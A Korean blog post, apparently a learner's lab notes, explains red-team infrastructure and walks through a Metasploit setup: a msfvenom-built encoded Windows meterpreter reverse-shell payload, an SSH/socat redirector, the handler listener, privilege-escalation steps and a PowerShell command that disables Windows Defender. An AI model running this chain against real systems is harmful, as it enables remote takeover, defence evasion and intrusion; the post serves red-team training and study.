일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- 디지털 포렌식 트랙
- 에밀 뒤르켐
- 사회분업론
- BoB 12기
- CodeEngn Basic 5
- CodeEngn Basic 01
- 코드엔진 베이직
- BoB 12기 최종합격 후기
- 철학
- 논문리뷰
- 코드엔진 basic 5
- 코드엔진
- 사회적 사실
- CodeEngn
- codeengn basic rce 01
- bob
- h4ckinggame
- Best of the Best
- 자살론
- 리버싱
- malware
- Today
- Total
SEO
레드팀 인프라 작동 방식 및 Metasploit Framework 본문
레드팀 인프라는 실제 기업 인프라에서 요구되는 신뢰성, 안전성 등의 공통사항 뿐만 아니라, 블루팀이 공격 캠페인이 탐지하지 못하도록 보안 및 난독화의 추가적인 계층을 필요로 합니다.
일반적으로 레드팀 인프라는 위 사진과 같은 구조를 가진다고 합니다.
- 피싱/페이로드 서버 : 피싱 캠페인 및 페이로드 코드를 저장하는데 사용
- C2 서버 : 레드티밍을 위한 명령 제어 서버
- 리다이렉터 : 피해자 환경과의 통신에서 트래픽의 프록시 역할을 하며, C2 서버를 숨기기 위한 용도
저는 그루트 유튜브를 통해 레드팀 인프라를 구축하였고, 피싱 메일 서버는 현재 프로젝트에서 사용되지 않아 C2 서버와 리다이렉터로 구성하였습니다.
https://www.youtube.com/watch?v=LzqouelitiE&t=122s
리다이렉터는 socat을 이용하여 구현하였는데, 트래픽이 들어올 때까지 특정 포트를 계속해서 기다리고 있는 등 비효율적인 운영 때문에 Dumb Redirector로 분류된다고 합니다.
이러한 단점을 보완한 Redirector가 리버스 프록시 서버 방식이라고 합니다. 웹 서버를 리버스 프록시로 구성해 트래픽을 조건에 따라 처리하여 블루팀의 탐지를 회피합니다.
나중에 시간이 되면 각 단계별로 Redirector를 구현해서 포스팅 해보겠습니다.
현업에서 Metasploit을 C2 프레임워크로 사용하는 경우는 거의 없다는 외국인의 글을 봤었는데, meterpreter의 기능이 워낙 많고 이전부터 사용해보고 싶은 도구였어서 이번 프로젝트에서 C2 프레임워크로 사용하였습니다.
실제 프로젝트 이전에 레드팀 인프라 작동 방식을 이해하기 위해 진행했던 실습을 작성하겠습니다.
Meterpreter 페이로드 생성
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai 0i 5 -b '\x00' LHOST=[리다이렉터 IP] LPORT=80 -f exe > payload.exe
리버스 쉘을 생성하기 위해 windows/meterpreter/reverse_tcp 로 페이로드를 생성하였습니다.
shikata_ga_nai 는 x86 아키텍처용 폴리모르픽 인코더로, 인코딩을 5회 반복하여 보안 솔루션의 탐지를 어렵게 만듭니다. (AV들이 굉장히 잘 탐지합니다... AV를 우회하려면 패킹을 더 하거나, Veil 등을 추가로 사용하는 것이 좋을 것 같습니다..)
혹시 모를 오류를 방지하기 위해 페이로드 생성 시에 NULL 바이트를 제외시켜 생성하였습니다.
위 페이로드가 실행되면 LHOST와 LPORT로 지정된 서버와 리버스 쉘로 연결되게 됩니다.
Dumb HTTP Redirector
ssh -i [ssh 프라이빗 키] ubuntu@[EC2 IP] -R [EC2 아웃바운드 포트 번호]:127.0.0.1:[KALI 인바운드 포트 번호]
HTTP 리다이렉터(EC2 구축)의 2222 포트로 나가는 트래픽을 로컬 C2 서버(칼리 리눅스)의 4321 포트 전송
sudo socat tcp-listen:80,reuseaddr,fork,bind=0.0.0.0 tcp:127.0.0.1:[EC2 아웃바운드 포트 번호]
HTTP 리다이렉터(EC2 구축)에서 80으로 들어오는 트래픽을 자신의 2222 포트로 전송
=> 인바운드 : 80, 아웃바운드 : 2222
Meterpreter 리스너 설정
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0 #어떤 인터페이스에서든 들어오는 트래픽을 수신할 수 있게 허용
set LPORT [KALI 인바운드 포트 번호]
set ExitOnSession false #세션이 생성되더라도 현재 실행 중인 핸들러 종료 X
리스너를 위와 같이 설정하였는데, LHOST를 HTTP 리다이렉터 IP로 해야하는데 트래픽이 막힐 때도 있어서 0.0.0.0으로 설정하였습니다.
exploit -j
익스플로잇을 백그라운드에서 실행하도록 합니다. 이를 통해 현재 세션을 종료하지 않고도 Metasploit Console에서 다른 작업을 수행하거나 추가적으로 공격을 실행할 수 있습니다.
Meterpreter 명령 관련
show sessions
현재 연결된 세션 목록을 볼 수 있습니다.
sessions -i [세션 번호]
위에서 연결한 meterpreter 세션에 연결합니다.
run post/multi/recon/local_exploit_suggester
사용 가능한 익스플로잇 목록을 확인합니다.
use [사용할 exploit 이름]
set SESSION [세션 번호]
exploit
사용할 exploit 설정 후 익스합니다. (UAC Bypass는 현재 meterpreter가 감염된 환경에 로그인된 계정이 관리자 그룹에 있을 경우에 동작하는 익스플로잇입니다)
권한 상승 후 획득한 권한 목록입니다.
load powershell
powershell_execute "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name 'DisableAntiSpyware' -Value 1 -Type DWORD"
powershell에 페이로드를 주입하고, Windows Defender를 끄는 레지스트리를 설정합니다.
powershell load 후에는 powershell_execute " " 형식으로 명령을 실행시킬 수 있습니다.
cd 등으로 피해자 PC에서 파일을 드랍할 경로로 이동한 후에 upload 명령어와 드랍할 파일의 경로를 지정하여 업로드해줍니다.
이런식으로 간단하게 msfconsole을 테스트해봤는데, 피해자 환경에서 로그가 어떻게 남을 지 너무 궁금하네요..ㅎㅎ
항상 블루팀 입장에서만 공부했어서 이런 도구들을 사용하고, 레드팀 인프라를 구축하는게 처음인데 너무 재미있었습니다.
참고문헌
https://www.securesystems.de/blog/building-a-red-team-infrastructure-in-2023/
Building a Red Team Infrastructure in 2023
In this blog post an overview of the different components of a red team infrastructure is given. This includes explanations how these work, as well as the comparison of different solutions and their characteristics.
www.securesystems.de
https://ttp.parzival.sh/red-teaming/offensive-infrastructure/redirectors
Redirectors | Tactics, Techniques, and Procedures
🧨Red TeamingOffensive InfrastructureRedirectors A redirector is essentially a relay server that sits in between the attacker and the victim machine. When the attacker sends a command to the redirector, it forwards the command to the victim machine. Simi
ttp.parzival.sh
https://payatu.com/blog/redteaming-from-zero-to-one-part-1/
RedTeaming From Zero To One – Part 1 - Payatu
Prologue This post is particularly aimed at beginners who want to dive deep into red teaming and move a step ahead from traditional penetration testing. It would also be helpful for Blue Teams/Breach Response Team/SOC analysts to understand the motive/meth
payatu.com
'Security > RedTeam' 카테고리의 다른 글
[레드팀 인프라 구축] 구축에 사용되는 AWS 서비스들을 알아보자! (0) | 2024.11.28 |
---|